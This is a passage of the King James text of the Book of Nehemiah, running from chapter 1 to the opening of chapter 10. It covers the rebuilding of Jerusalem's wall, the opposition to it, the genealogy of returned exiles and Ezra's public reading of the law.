+The Book of Nehemiah + + +1:1 The words of Nehemiah the son of Hachaliah. And it came to pass +in the month Chisleu, in the twentieth year, as I was in Shushan the +palace, 1:2 That Hanani, one of my brethren, came, he and certain men +of Judah; and I asked them concerning the Jews that had escaped, which +were left of the captivity, and concerning Jerusalem. + +1:3 And they said unto me, The remnant that are left of the captivity +there in the province are in great affliction and reproach: the wall +of Jerusalem also is broken down, and the gates thereof are burned +with fire. + +1:4 And it came to pass, when I heard these words, that I sat down and +wept, and mourned certain days, and fasted, and prayed before the God +of heaven, 1:5 And said, I beseech thee, O LORD God of heaven, the +great and terrible God, that keepeth covenant and mercy for them that +love him and observe his commandments: 1:6 Let thine ear now be +attentive, and thine eyes open, that thou mayest hear the prayer of +thy servant, which I pray before thee now, day and night, for the +children of Israel thy servants, and confess the sins of the children +of Israel, which we have sinned against thee: both I and my father's +house have sinned. + +1:7 We have dealt very corruptly against thee, and have not kept the +commandments, nor the statutes, nor the judgments, which thou +commandedst thy servant Moses. + +1:8 Remember, I beseech thee, the word that thou commandedst thy +servant Moses, saying, If ye transgress, I will scatter you abroad +among the nations: 1:9 But if ye turn unto me, and keep my +commandments, and do them; though there were of you cast out unto the +uttermost part of the heaven, yet will I gather them from thence, and +will bring them unto the place that I have chosen to set my name +there. + +1:10 Now these are thy servants and thy people, whom thou hast +redeemed by thy great power, and by thy strong hand. + +1:11 O LORD, I beseech thee, let now thine ear be attentive to the +prayer of thy servant, and to the prayer of thy servants, who desire +to fear thy name: and prosper, I pray thee, thy servant this day, and +grant him mercy in the sight of this man. For I was the king's +cupbearer. + +2:1 And it came to pass in the month Nisan, in the twentieth year of +Artaxerxes the king, that wine was before him: and I took up the wine, +and gave it unto the king. Now I had not been beforetime sad in his +presence. + +2:2 Wherefore the king said unto me, Why is thy countenance sad, +seeing thou art not sick? this is nothing else but sorrow of heart. +Then I was very sore afraid, 2:3 And said unto the king, Let the king +live for ever: why should not my countenance be sad, when the city, +the place of my fathers' sepulchres, lieth waste, and the gates +thereof are consumed with fire? 2:4 Then the king said unto me, For +what dost thou make request? So I prayed to the God of heaven. + +2:5 And I said unto the king, If it please the king, and if thy +servant have found favour in thy sight, that thou wouldest send me +unto Judah, unto the city of my fathers' sepulchres, that I may build +it. + +2:6 And the king said unto me, (the queen also sitting by him,) For +how long shall thy journey be? and when wilt thou return? So it +pleased the king to send me; and I set him a time. + +2:7 Moreover I said unto the king, If it please the king, let letters +be given me to the governors beyond the river, that they may convey me +over till I come into Judah; 2:8 And a letter unto Asaph the keeper of +the king's forest, that he may give me timber to make beams for the +gates of the palace which appertained to the house, and for the wall +of the city, and for the house that I shall enter into. And the king +granted me, according to the good hand of my God upon me. + +2:9 Then I came to the governors beyond the river, and gave them the +king's letters. Now the king had sent captains of the army and +horsemen with me. + +2:10 When Sanballat the Horonite, and Tobiah the servant, the +Ammonite, heard of it, it grieved them exceedingly that there was come +a man to seek the welfare of the children of Israel. + +2:11 So I came to Jerusalem, and was there three days. + +2:12 And I arose in the night, I and some few men with me; neither +told I any man what my God had put in my heart to do at Jerusalem: +neither was there any beast with me, save the beast that I rode upon. + +2:13 And I went out by night by the gate of the valley, even before +the dragon well, and to the dung port, and viewed the walls of +Jerusalem, which were broken down, and the gates thereof were consumed +with fire. + +2:14 Then I went on to the gate of the fountain, and to the king's +pool: but there was no place for the beast that was under me to pass. + +2:15 Then went I up in the night by the brook, and viewed the wall, +and turned back, and entered by the gate of the valley, and so +returned. + +2:16 And the rulers knew not whither I went, or what I did; neither +had I as yet told it to the Jews, nor to the priests, nor to the +nobles, nor to the rulers, nor to the rest that did the work. + +2:17 Then said I unto them, Ye see the distress that we are in, how +Jerusalem lieth waste, and the gates thereof are burned with fire: +come, and let us build up the wall of Jerusalem, that we be no more a +reproach. + +2:18 Then I told them of the hand of my God which was good upon me; as +also the king's words that he had spoken unto me. And they said, Let +us rise up and build. So they strengthened their hands for this good +work. + +2:19 But when Sanballat the Horonite, and Tobiah the servant, the +Ammonite, and Geshem the Arabian, heard it, they laughed us to scorn, +and despised us, and said, What is this thing that ye do? will ye +rebel against the king? 2:20 Then answered I them, and said unto +them, The God of heaven, he will prosper us; therefore we his servants +will arise and build: but ye have no portion, nor right, nor memorial, +in Jerusalem. + +3:1 Then Eliashib the high priest rose up with his brethren the +priests, and they builded the sheep gate; they sanctified it, and set +up the doors of it; even unto the tower of Meah they sanctified it, +unto the tower of Hananeel. + +3:2 And next unto him builded the men of Jericho. And next to them +builded Zaccur the son of Imri. + +3:3 But the fish gate did the sons of Hassenaah build, who also laid +the beams thereof, and set up the doors thereof, the locks thereof, +and the bars thereof. + +3:4 And next unto them repaired Meremoth the son of Urijah, the son of +Koz. And next unto them repaired Meshullam the son of Berechiah, the +son of Meshezabeel. And next unto them repaired Zadok the son of +Baana. + +3:5 And next unto them the Tekoites repaired; but their nobles put not +their necks to the work of their LORD. + +3:6 Moreover the old gate repaired Jehoiada the son of Paseah, and +Meshullam the son of Besodeiah; they laid the beams thereof, and set +up the doors thereof, and the locks thereof, and the bars thereof. + +3:7 And next unto them repaired Melatiah the Gibeonite, and Jadon the +Meronothite, the men of Gibeon, and of Mizpah, unto the throne of the +governor on this side the river. + +3:8 Next unto him repaired Uzziel the son of Harhaiah, of the +goldsmiths. + +Next unto him also repaired Hananiah the son of one of the +apothecaries, and they fortified Jerusalem unto the broad wall. + +3:9 And next unto them repaired Rephaiah the son of Hur, the ruler of +the half part of Jerusalem. + +3:10 And next unto them repaired Jedaiah the son of Harumaph, even +over against his house. And next unto him repaired Hattush the son of +Hashabniah. + +3:11 Malchijah the son of Harim, and Hashub the son of Pahathmoab, +repaired the other piece, and the tower of the furnaces. + +3:12 And next unto him repaired Shallum the son of Halohesh, the ruler +of the half part of Jerusalem, he and his daughters. + +3:13 The valley gate repaired Hanun, and the inhabitants of Zanoah; +they built it, and set up the doors thereof, the locks thereof, and +the bars thereof, and a thousand cubits on the wall unto the dung +gate. + +3:14 But the dung gate repaired Malchiah the son of Rechab, the ruler +of part of Bethhaccerem; he built it, and set up the doors thereof, +the locks thereof, and the bars thereof. + +3:15 But the gate of the fountain repaired Shallun the son of +Colhozeh, the ruler of part of Mizpah; he built it, and covered it, +and set up the doors thereof, the locks thereof, and the bars thereof, +and the wall of the pool of Siloah by the king's garden, and unto the +stairs that go down from the city of David. + +3:16 After him repaired Nehemiah the son of Azbuk, the ruler of the +half part of Bethzur, unto the place over against the sepulchres of +David, and to the pool that was made, and unto the house of the +mighty. + +3:17 After him repaired the Levites, Rehum the son of Bani. Next unto +him repaired Hashabiah, the ruler of the half part of Keilah, in his +part. + +3:18 After him repaired their brethren, Bavai the son of Henadad, the +ruler of the half part of Keilah. + +3:19 And next to him repaired Ezer the son of Jeshua, the ruler of +Mizpah, another piece over against the going up to the armoury at the +turning of the wall. + +3:20 After him Baruch the son of Zabbai earnestly repaired the other +piece, from the turning of the wall unto the door of the house of +Eliashib the high priest. + +3:21 After him repaired Meremoth the son of Urijah the son of Koz +another piece, from the door of the house of Eliashib even to the end +of the house of Eliashib. + +3:22 And after him repaired the priests, the men of the plain. + +3:23 After him repaired Benjamin and Hashub over against their house. + +After him repaired Azariah the son of Maaseiah the son of Ananiah by +his house. + +3:24 After him repaired Binnui the son of Henadad another piece, from +the house of Azariah unto the turning of the wall, even unto the +corner. + +3:25 Palal the son of Uzai, over against the turning of the wall, and +the tower which lieth out from the king's high house, that was by the +court of the prison. After him Pedaiah the son of Parosh. + +3:26 Moreover the Nethinims dwelt in Ophel, unto the place over +against the water gate toward the east, and the tower that lieth out. + +3:27 After them the Tekoites repaired another piece, over against the +great tower that lieth out, even unto the wall of Ophel. + +3:28 From above the horse gate repaired the priests, every one over +against his house. + +3:29 After them repaired Zadok the son of Immer over against his +house. + +After him repaired also Shemaiah the son of Shechaniah, the keeper of +the east gate. + +3:30 After him repaired Hananiah the son of Shelemiah, and Hanun the +sixth son of Zalaph, another piece. After him repaired Meshullam the +son of Berechiah over against his chamber. + +3:31 After him repaired Malchiah the goldsmith's son unto the place of +the Nethinims, and of the merchants, over against the gate Miphkad, +and to the going up of the corner. + +3:32 And between the going up of the corner unto the sheep gate +repaired the goldsmiths and the merchants. + +4:1 But it came to pass, that when Sanballat heard that we builded the +wall, he was wroth, and took great indignation, and mocked the Jews. + +4:2 And he spake before his brethren and the army of Samaria, and +said, What do these feeble Jews? will they fortify themselves? will +they sacrifice? will they make an end in a day? will they revive the +stones out of the heaps of the rubbish which are burned? 4:3 Now +Tobiah the Ammonite was by him, and he said, Even that which they +build, if a fox go up, he shall even break down their stone wall. + +4:4 Hear, O our God; for we are despised: and turn their reproach upon +their own head, and give them for a prey in the land of captivity: 4:5 +And cover not their iniquity, and let not their sin be blotted out +from before thee: for they have provoked thee to anger before the +builders. + +4:6 So built we the wall; and all the wall was joined together unto +the half thereof: for the people had a mind to work. + +4:7 But it came to pass, that when Sanballat, and Tobiah, and the +Arabians, and the Ammonites, and the Ashdodites, heard that the walls +of Jerusalem were made up, and that the breaches began to be stopped, +then they were very wroth, 4:8 And conspired all of them together to +come and to fight against Jerusalem, and to hinder it. + +4:9 Nevertheless we made our prayer unto our God, and set a watch +against them day and night, because of them. + +4:10 And Judah said, The strength of the bearers of burdens is +decayed, and there is much rubbish; so that we are not able to build +the wall. + +4:11 And our adversaries said, They shall not know, neither see, till +we come in the midst among them, and slay them, and cause the work to +cease. + +4:12 And it came to pass, that when the Jews which dwelt by them came, +they said unto us ten times, From all places whence ye shall return +unto us they will be upon you. + +4:13 Therefore set I in the lower places behind the wall, and on the +higher places, I even set the people after their families with their +swords, their spears, and their bows. + +4:14 And I looked, and rose up, and said unto the nobles, and to the +rulers, and to the rest of the people, Be not ye afraid of them: +remember the LORD, which is great and terrible, and fight for your +brethren, your sons, and your daughters, your wives, and your houses. + +4:15 And it came to pass, when our enemies heard that it was known +unto us, and God had brought their counsel to nought, that we returned +all of us to the wall, every one unto his work. + +4:16 And it came to pass from that time forth, that the half of my +servants wrought in the work, and the other half of them held both the +spears, the shields, and the bows, and the habergeons; and the rulers +were behind all the house of Judah. + +4:17 They which builded on the wall, and they that bare burdens, with +those that laded, every one with one of his hands wrought in the work, +and with the other hand held a weapon. + +4:18 For the builders, every one had his sword girded by his side, and +so builded. And he that sounded the trumpet was by me. + +4:19 And I said unto the nobles, and to the rulers, and to the rest of +the people, The work is great and large, and we are separated upon the +wall, one far from another. + +4:20 In what place therefore ye hear the sound of the trumpet, resort +ye thither unto us: our God shall fight for us. + +4:21 So we laboured in the work: and half of them held the spears from +the rising of the morning till the stars appeared. + +4:22 Likewise at the same time said I unto the people, Let every one +with his servant lodge within Jerusalem, that in the night they may be +a guard to us, and labour on the day. + +4:23 So neither I, nor my brethren, nor my servants, nor the men of +the guard which followed me, none of us put off our clothes, saving +that every one put them off for washing. + +5:1 And there was a great cry of the people and of their wives against +their brethren the Jews. + +5:2 For there were that said, We, our sons, and our daughters, are +many: therefore we take up corn for them, that we may eat, and live. + +5:3 Some also there were that said, We have mortgaged our lands, +vineyards, and houses, that we might buy corn, because of the dearth. + +5:4 There were also that said, We have borrowed money for the king's +tribute, and that upon our lands and vineyards. + +5:5 Yet now our flesh is as the flesh of our brethren, our children as +their children: and, lo, we bring into bondage our sons and our +daughters to be servants, and some of our daughters are brought unto +bondage already: neither is it in our power to redeem them; for other +men have our lands and vineyards. + +5:6 And I was very angry when I heard their cry and these words. + +5:7 Then I consulted with myself, and I rebuked the nobles, and the +rulers, and said unto them, Ye exact usury, every one of his brother. +And I set a great assembly against them. + +5:8 And I said unto them, We after our ability have redeemed our +brethren the Jews, which were sold unto the heathen; and will ye even +sell your brethren? or shall they be sold unto us? Then held they +their peace, and found nothing to answer. + +5:9 Also I said, It is not good that ye do: ought ye not to walk in +the fear of our God because of the reproach of the heathen our +enemies? 5:10 I likewise, and my brethren, and my servants, might +exact of them money and corn: I pray you, let us leave off this usury. + +5:11 Restore, I pray you, to them, even this day, their lands, their +vineyards, their oliveyards, and their houses, also the hundredth part +of the money, and of the corn, the wine, and the oil, that ye exact of +them. + +5:12 Then said they, We will restore them, and will require nothing of +them; so will we do as thou sayest. Then I called the priests, and +took an oath of them, that they should do according to this promise. + +5:13 Also I shook my lap, and said, So God shake out every man from +his house, and from his labour, that performeth not this promise, even +thus be he shaken out, and emptied. And all the congregation said, +Amen, and praised the LORD. And the people did according to this +promise. + +5:14 Moreover from the time that I was appointed to be their governor +in the land of Judah, from the twentieth year even unto the two and +thirtieth year of Artaxerxes the king, that is, twelve years, I and my +brethren have not eaten the bread of the governor. + +5:15 But the former governors that had been before me were chargeable +unto the people, and had taken of them bread and wine, beside forty +shekels of silver; yea, even their servants bare rule over the people: +but so did not I, because of the fear of God. + +5:16 Yea, also I continued in the work of this wall, neither bought we +any land: and all my servants were gathered thither unto the work. + +5:17 Moreover there were at my table an hundred and fifty of the Jews +and rulers, beside those that came unto us from among the heathen that +are about us. + +5:18 Now that which was prepared for me daily was one ox and six +choice sheep; also fowls were prepared for me, and once in ten days +store of all sorts of wine: yet for all this required not I the bread +of the governor, because the bondage was heavy upon this people. + +5:19 Think upon me, my God, for good, according to all that I have +done for this people. + +6:1 Now it came to pass when Sanballat, and Tobiah, and Geshem the +Arabian, and the rest of our enemies, heard that I had builded the +wall, and that there was no breach left therein; (though at that time +I had not set up the doors upon the gates;) 6:2 That Sanballat and +Geshem sent unto me, saying, Come, let us meet together in some one of +the villages in the plain of Ono. But they thought to do me mischief. + +6:3 And I sent messengers unto them, saying, I am doing a great work, +so that I cannot come down: why should the work cease, whilst I leave +it, and come down to you? 6:4 Yet they sent unto me four times after +this sort; and I answered them after the same manner. + +6:5 Then sent Sanballat his servant unto me in like manner the fifth +time with an open letter in his hand; 6:6 Wherein was written, It is +reported among the heathen, and Gashmu saith it, that thou and the +Jews think to rebel: for which cause thou buildest the wall, that thou +mayest be their king, according to these words. + +6:7 And thou hast also appointed prophets to preach of thee at +Jerusalem, saying, There is a king in Judah: and now shall it be +reported to the king according to these words. Come now therefore, and +let us take counsel together. + +6:8 Then I sent unto him, saying, There are no such things done as +thou sayest, but thou feignest them out of thine own heart. + +6:9 For they all made us afraid, saying, Their hands shall be weakened +from the work, that it be not done. Now therefore, O God, strengthen +my hands. + +6:10 Afterward I came unto the house of Shemaiah the son of Delaiah +the son of Mehetabeel, who was shut up; and he said, Let us meet +together in the house of God, within the temple, and let us shut the +doors of the temple: for they will come to slay thee; yea, in the +night will they come to slay thee. + +6:11 And I said, Should such a man as I flee? and who is there, that, +being as I am, would go into the temple to save his life? I will not +go in. + +6:12 And, lo, I perceived that God had not sent him; but that he +pronounced this prophecy against me: for Tobiah and Sanballat had +hired him. + +6:13 Therefore was he hired, that I should be afraid, and do so, and +sin, and that they might have matter for an evil report, that they +might reproach me. + +6:14 My God, think thou upon Tobiah and Sanballat according to these +their works, and on the prophetess Noadiah, and the rest of the +prophets, that would have put me in fear. + +6:15 So the wall was finished in the twenty and fifth day of the month +Elul, in fifty and two days. + +6:16 And it came to pass, that when all our enemies heard thereof, and +all the heathen that were about us saw these things, they were much +cast down in their own eyes: for they perceived that this work was +wrought of our God. + +6:17 Moreover in those days the nobles of Judah sent many letters unto +Tobiah, and the letters of Tobiah came unto them. + +6:18 For there were many in Judah sworn unto him, because he was the +son in law of Shechaniah the son of Arah; and his son Johanan had +taken the daughter of Meshullam the son of Berechiah. + +6:19 Also they reported his good deeds before me, and uttered my words +to him. And Tobiah sent letters to put me in fear. + +7:1 Now it came to pass, when the wall was built, and I had set up the +doors, and the porters and the singers and the Levites were appointed, +7:2 That I gave my brother Hanani, and Hananiah the ruler of the +palace, charge over Jerusalem: for he was a faithful man, and feared +God above many. + +7:3 And I said unto them, Let not the gates of Jerusalem be opened +until the sun be hot; and while they stand by, let them shut the +doors, and bar them: and appoint watches of the inhabitants of +Jerusalem, every one in his watch, and every one to be over against +his house. + +7:4 Now the city was large and great: but the people were few therein, +and the houses were not builded. + +7:5 And my God put into mine heart to gather together the nobles, and +the rulers, and the people, that they might be reckoned by genealogy. +And I found a register of the genealogy of them which came up at the +first, and found written therein, 7:6 These are the children of the +province, that went up out of the captivity, of those that had been +carried away, whom Nebuchadnezzar the king of Babylon had carried +away, and came again to Jerusalem and to Judah, every one unto his +city; 7:7 Who came with Zerubbabel, Jeshua, Nehemiah, Azariah, +Raamiah, Nahamani, Mordecai, Bilshan, Mispereth, Bigvai, Nehum, +Baanah. The number, I say, of the men of the people of Israel was +this; 7:8 The children of Parosh, two thousand an hundred seventy and +two. + +7:9 The children of Shephatiah, three hundred seventy and two. + +7:10 The children of Arah, six hundred fifty and two. + +7:11 The children of Pahathmoab, of the children of Jeshua and Joab, +two thousand and eight hundred and eighteen. + +7:12 The children of Elam, a thousand two hundred fifty and four. + +7:13 The children of Zattu, eight hundred forty and five. + +7:14 The children of Zaccai, seven hundred and threescore. + +7:15 The children of Binnui, six hundred forty and eight. + +7:16 The children of Bebai, six hundred twenty and eight. + +7:17 The children of Azgad, two thousand three hundred twenty and two. + +7:18 The children of Adonikam, six hundred threescore and seven. + +7:19 The children of Bigvai, two thousand threescore and seven. + +7:20 The children of Adin, six hundred fifty and five. + +7:21 The children of Ater of Hezekiah, ninety and eight. + +7:22 The children of Hashum, three hundred twenty and eight. + +7:23 The children of Bezai, three hundred twenty and four. + +7:24 The children of Hariph, an hundred and twelve. + +7:25 The children of Gibeon, ninety and five. + +7:26 The men of Bethlehem and Netophah, an hundred fourscore and +eight. + +7:27 The men of Anathoth, an hundred twenty and eight. + +7:28 The men of Bethazmaveth, forty and two. + +7:29 The men of Kirjathjearim, Chephirah, and Beeroth, seven hundred +forty and three. + +7:30 The men of Ramah and Gaba, six hundred twenty and one. + +7:31 The men of Michmas, an hundred and twenty and two. + +7:32 The men of Bethel and Ai, an hundred twenty and three. + +7:33 The men of the other Nebo, fifty and two. + +7:34 The children of the other Elam, a thousand two hundred fifty and +four. + +7:35 The children of Harim, three hundred and twenty. + +7:36 The children of Jericho, three hundred forty and five. + +7:37 The children of Lod, Hadid, and Ono, seven hundred twenty and +one. + +7:38 The children of Senaah, three thousand nine hundred and thirty. + +7:39 The priests: the children of Jedaiah, of the house of Jeshua, +nine hundred seventy and three. + +7:40 The children of Immer, a thousand fifty and two. + +7:41 The children of Pashur, a thousand two hundred forty and seven. + +7:42 The children of Harim, a thousand and seventeen. + +7:43 The Levites: the children of Jeshua, of Kadmiel, and of the +children of Hodevah, seventy and four. + +7:44 The singers: the children of Asaph, an hundred forty and eight. + +7:45 The porters: the children of Shallum, the children of Ater, the +children of Talmon, the children of Akkub, the children of Hatita, the +children of Shobai, an hundred thirty and eight. + +7:46 The Nethinims: the children of Ziha, the children of Hashupha, +the children of Tabbaoth, 7:47 The children of Keros, the children of +Sia, the children of Padon, 7:48 The children of Lebana, the children +of Hagaba, the children of Shalmai, 7:49 The children of Hanan, the +children of Giddel, the children of Gahar, 7:50 The children of +Reaiah, the children of Rezin, the children of Nekoda, 7:51 The +children of Gazzam, the children of Uzza, the children of Phaseah, +7:52 The children of Besai, the children of Meunim, the children of +Nephishesim, 7:53 The children of Bakbuk, the children of Hakupha, the +children of Harhur, 7:54 The children of Bazlith, the children of +Mehida, the children of Harsha, 7:55 The children of Barkos, the +children of Sisera, the children of Tamah, 7:56 The children of +Neziah, the children of Hatipha. + +7:57 The children of Solomon's servants: the children of Sotai, the +children of Sophereth, the children of Perida, 7:58 The children of +Jaala, the children of Darkon, the children of Giddel, 7:59 The +children of Shephatiah, the children of Hattil, the children of +Pochereth of Zebaim, the children of Amon. + +7:60 All the Nethinims, and the children of Solomon's servants, were +three hundred ninety and two. + +7:61 And these were they which went up also from Telmelah, Telharesha, +Cherub, Addon, and Immer: but they could not shew their father's +house, nor their seed, whether they were of Israel. + +7:62 The children of Delaiah, the children of Tobiah, the children of +Nekoda, six hundred forty and two. + +7:63 And of the priests: the children of Habaiah, the children of Koz, +the children of Barzillai, which took one of the daughters of +Barzillai the Gileadite to wife, and was called after their name. + +7:64 These sought their register among those that were reckoned by +genealogy, but it was not found: therefore were they, as polluted, put +from the priesthood. + +7:65 And the Tirshatha said unto them, that they should not eat of the +most holy things, till there stood up a priest with Urim and Thummim. + +7:66 The whole congregation together was forty and two thousand three +hundred and threescore, 7:67 Beside their manservants and their +maidservants, of whom there were seven thousand three hundred thirty +and seven: and they had two hundred forty and five singing men and +singing women. + +7:68 Their horses, seven hundred thirty and six: their mules, two +hundred forty and five: 7:69 Their camels, four hundred thirty and +five: six thousand seven hundred and twenty asses. + +7:70 And some of the chief of the fathers gave unto the work. The +Tirshatha gave to the treasure a thousand drams of gold, fifty basons, +five hundred and thirty priests' garments. + +7:71 And some of the chief of the fathers gave to the treasure of the +work twenty thousand drams of gold, and two thousand and two hundred +pound of silver. + +7:72 And that which the rest of the people gave was twenty thousand +drams of gold, and two thousand pound of silver, and threescore and +seven priests' garments. + +7:73 So the priests, and the Levites, and the porters, and the +singers, and some of the people, and the Nethinims, and all Israel, +dwelt in their cities; and when the seventh month came, the children +of Israel were in their cities. + +8:1 And all the people gathered themselves together as one man into +the street that was before the water gate; and they spake unto Ezra +the scribe to bring the book of the law of Moses, which the LORD had +commanded to Israel. + +8:2 And Ezra the priest brought the law before the congregation both +of men and women, and all that could hear with understanding, upon the +first day of the seventh month. + +8:3 And he read therein before the street that was before the water +gate from the morning until midday, before the men and the women, and +those that could understand; and the ears of all the people were +attentive unto the book of the law. + +8:4 And Ezra the scribe stood upon a pulpit of wood, which they had +made for the purpose; and beside him stood Mattithiah, and Shema, and +Anaiah, and Urijah, and Hilkiah, and Maaseiah, on his right hand; and +on his left hand, Pedaiah, and Mishael, and Malchiah, and Hashum, and +Hashbadana, Zechariah, and Meshullam. + +8:5 And Ezra opened the book in the sight of all the people; (for he +was above all the people;) and when he opened it, all the people stood +up: 8:6 And Ezra blessed the LORD, the great God. And all the people +answered, Amen, Amen, with lifting up their hands: and they bowed +their heads, and worshipped the LORD with their faces to the ground. + +8:7 Also Jeshua, and Bani, and Sherebiah, Jamin, Akkub, Shabbethai, +Hodijah, Maaseiah, Kelita, Azariah, Jozabad, Hanan, Pelaiah, and the +Levites, caused the people to understand the law: and the people stood +in their place. + +8:8 So they read in the book in the law of God distinctly, and gave +the sense, and caused them to understand the reading. + +8:9 And Nehemiah, which is the Tirshatha, and Ezra the priest the +scribe, and the Levites that taught the people, said unto all the +people, This day is holy unto the LORD your God; mourn not, nor weep. +For all the people wept, when they heard the words of the law. + +8:10 Then he said unto them, Go your way, eat the fat, and drink the +sweet, and send portions unto them for whom nothing is prepared: for +this day is holy unto our LORD: neither be ye sorry; for the joy of +the LORD is your strength. + +8:11 So the Levites stilled all the people, saying, Hold your peace, +for the day is holy; neither be ye grieved. + +8:12 And all the people went their way to eat, and to drink, and to +send portions, and to make great mirth, because they had understood +the words that were declared unto them. + +8:13 And on the second day were gathered together the chief of the +fathers of all the people, the priests, and the Levites, unto Ezra the +scribe, even to understand the words of the law. + +8:14 And they found written in the law which the LORD had commanded by +Moses, that the children of Israel should dwell in booths in the feast +of the seventh month: 8:15 And that they should publish and proclaim +in all their cities, and in Jerusalem, saying, Go forth unto the +mount, and fetch olive branches, and pine branches, and myrtle +branches, and palm branches, and branches of thick trees, to make +booths, as it is written. + +8:16 So the people went forth, and brought them, and made themselves +booths, every one upon the roof of his house, and in their courts, and +in the courts of the house of God, and in the street of the water +gate, and in the street of the gate of Ephraim. + +8:17 And all the congregation of them that were come again out of the +captivity made booths, and sat under the booths: for since the days of +Jeshua the son of Nun unto that day had not the children of Israel +done so. And there was very great gladness. + +8:18 Also day by day, from the first day unto the last day, he read in +the book of the law of God. And they kept the feast seven days; and on +the eighth day was a solemn assembly, according unto the manner. + +9:1 Now in the twenty and fourth day of this month the children of +Israel were assembled with fasting, and with sackclothes, and earth +upon them. + +9:2 And the seed of Israel separated themselves from all strangers, +and stood and confessed their sins, and the iniquities of their +fathers. + +9:3 And they stood up in their place, and read in the book of the law +of the LORD their God one fourth part of the day; and another fourth +part they confessed, and worshipped the LORD their God. + +9:4 Then stood up upon the stairs, of the Levites, Jeshua, and Bani, +Kadmiel, Shebaniah, Bunni, Sherebiah, Bani, and Chenani, and cried +with a loud voice unto the LORD their God. + +9:5 Then the Levites, Jeshua, and Kadmiel, Bani, Hashabniah, +Sherebiah, Hodijah, Shebaniah, and Pethahiah, said, Stand up and bless +the LORD your God for ever and ever: and blessed be thy glorious name, +which is exalted above all blessing and praise. + +9:6 Thou, even thou, art LORD alone; thou hast made heaven, the heaven +of heavens, with all their host, the earth, and all things that are +therein, the seas, and all that is therein, and thou preservest them +all; and the host of heaven worshippeth thee. + +9:7 Thou art the LORD the God, who didst choose Abram, and broughtest +him forth out of Ur of the Chaldees, and gavest him the name of +Abraham; 9:8 And foundest his heart faithful before thee, and madest a +covenant with him to give the land of the Canaanites, the Hittites, +the Amorites, and the Perizzites, and the Jebusites, and the +Girgashites, to give it, I say, to his seed, and hast performed thy +words; for thou art righteous: 9:9 And didst see the affliction of our +fathers in Egypt, and heardest their cry by the Red sea; 9:10 And +shewedst signs and wonders upon Pharaoh, and on all his servants, and +on all the people of his land: for thou knewest that they dealt +proudly against them. So didst thou get thee a name, as it is this +day. + +9:11 And thou didst divide the sea before them, so that they went +through the midst of the sea on the dry land; and their persecutors +thou threwest into the deeps, as a stone into the mighty waters. + +9:12 Moreover thou leddest them in the day by a cloudy pillar; and in +the night by a pillar of fire, to give them light in the way wherein +they should go. + +9:13 Thou camest down also upon mount Sinai, and spakest with them +from heaven, and gavest them right judgments, and true laws, good +statutes and commandments: 9:14 And madest known unto them thy holy +sabbath, and commandedst them precepts, statutes, and laws, by the +hand of Moses thy servant: 9:15 And gavest them bread from heaven for +their hunger, and broughtest forth water for them out of the rock for +their thirst, and promisedst them that they should go in to possess +the land which thou hadst sworn to give them. + +9:16 But they and our fathers dealt proudly, and hardened their necks, +and hearkened not to thy commandments, 9:17 And refused to obey, +neither were mindful of thy wonders that thou didst among them; but +hardened their necks, and in their rebellion appointed a captain to +return to their bondage: but thou art a God ready to pardon, gracious +and merciful, slow to anger, and of great kindness, and forsookest +them not. + +9:18 Yea, when they had made them a molten calf, and said, This is thy +God that brought thee up out of Egypt, and had wrought great +provocations; 9:19 Yet thou in thy manifold mercies forsookest them +not in the wilderness: the pillar of the cloud departed not from them +by day, to lead them in the way; neither the pillar of fire by night, +to shew them light, and the way wherein they should go. + +9:20 Thou gavest also thy good spirit to instruct them, and +withheldest not thy manna from their mouth, and gavest them water for +their thirst. + +9:21 Yea, forty years didst thou sustain them in the wilderness, so +that they lacked nothing; their clothes waxed not old, and their feet +swelled not. + +9:22 Moreover thou gavest them kingdoms and nations, and didst divide +them into corners: so they possessed the land of Sihon, and the land +of the king of Heshbon, and the land of Og king of Bashan. + +9:23 Their children also multipliedst thou as the stars of heaven, and +broughtest them into the land, concerning which thou hadst promised to +their fathers, that they should go in to possess it. + +9:24 So the children went in and possessed the land, and thou +subduedst before them the inhabitants of the land, the Canaanites, and +gavest them into their hands, with their kings, and the people of the +land, that they might do with them as they would. + +9:25 And they took strong cities, and a fat land, and possessed houses +full of all goods, wells digged, vineyards, and oliveyards, and fruit +trees in abundance: so they did eat, and were filled, and became fat, +and delighted themselves in thy great goodness. + +9:26 Nevertheless they were disobedient, and rebelled against thee, +and cast thy law behind their backs, and slew thy prophets which +testified against them to turn them to thee, and they wrought great +provocations. + +9:27 Therefore thou deliveredst them into the hand of their enemies, +who vexed them: and in the time of their trouble, when they cried unto +thee, thou heardest them from heaven; and according to thy manifold +mercies thou gavest them saviours, who saved them out of the hand of +their enemies. + +9:28 But after they had rest, they did evil again before thee: +therefore leftest thou them in the land of their enemies, so that they +had the dominion over them: yet when they returned, and cried unto +thee, thou heardest them from heaven; and many times didst thou +deliver them according to thy mercies; 9:29 And testifiedst against +them, that thou mightest bring them again unto thy law: yet they dealt +proudly, and hearkened not unto thy commandments, but sinned against +thy judgments, (which if a man do, he shall live in them;) and +withdrew the shoulder, and hardened their neck, and would not hear. + +9:30 Yet many years didst thou forbear them, and testifiedst against +them by thy spirit in thy prophets: yet would they not give ear: +therefore gavest thou them into the hand of the people of the lands. + +9:31 Nevertheless for thy great mercies' sake thou didst not utterly +consume them, nor forsake them; for thou art a gracious and merciful +God. + +9:32 Now therefore, our God, the great, the mighty, and the terrible +God, who keepest covenant and mercy, let not all the trouble seem +little before thee, that hath come upon us, on our kings, on our +princes, and on our priests, and on our prophets, and on our fathers, +and on all thy people, since the time of the kings of Assyria unto +this day. + +9:33 Howbeit thou art just in all that is brought upon us; for thou +hast done right, but we have done wickedly: 9:34 Neither have our +kings, our princes, our priests, nor our fathers, kept thy law, nor +hearkened unto thy commandments and thy testimonies, wherewith thou +didst testify against them. + +9:35 For they have not served thee in their kingdom, and in thy great +goodness that thou gavest them, and in the large and fat land which +thou gavest before them, neither turned they from their wicked works. + +9:36 Behold, we are servants this day, and for the land that thou +gavest unto our fathers to eat the fruit thereof and the good thereof, +behold, we are servants in it: 9:37 And it yieldeth much increase unto +the kings whom thou hast set over us because of our sins: also they +have dominion over our bodies, and over our cattle, at their pleasure, +and we are in great distress. + +9:38 And because of all this we make a sure covenant, and write it; +and our princes, Levites, and priests, seal unto it. + +10:1 Now those that sealed were, Nehemiah, the Tirshatha, the son of +Hachaliah, and Zidkijah, 10:2 Seraiah, Azariah, Jeremiah, 10:3 Pashur, +Amariah, Malchijah, 10:4 Hattush, Shebaniah, Malluch, 10:5 Harim, +Meremoth, Obadiah, 10:6 Daniel, Ginnethon, Baruch, 10:7 Meshullam, +Abijah, Mijamin, 10:8 Maaziah, Bilgai, Shemaiah: these were the +priests. + +10:9 And 